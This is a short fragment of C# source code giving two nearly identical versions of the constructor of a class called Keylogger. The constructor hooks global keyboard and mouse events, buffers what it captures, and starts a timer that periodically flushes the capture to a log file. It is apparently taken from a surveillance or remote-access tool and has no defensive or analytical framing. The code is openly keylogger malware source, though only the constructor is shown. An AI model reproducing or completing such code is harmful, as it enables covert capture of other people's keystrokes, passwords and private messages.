/// <summary> /// Creates the keylogger instance that provides keylogging functionality and starts it. /// </summary> /// <param name="flushInterval">The interval to flush the buffer to the logfile.</param> public Keylogger(double flushInterval) { Instance = this; Subscribe(Hook.GlobalEvents()); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Start(); WriteFile(); }
/// <summary> /// Creates the keylogger instance that provides keylogging functionality and starts it. /// </summary> /// <param name="flushInterval">The interval to flush the buffer to the logfile.</param> public Keylogger(double flushInterval) { Instance = this; _lastWindowTitle = string.Empty; _logFileBuffer = new StringBuilder(); Subscribe(Hook.GlobalEvents()); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Start(); WriteFile(); }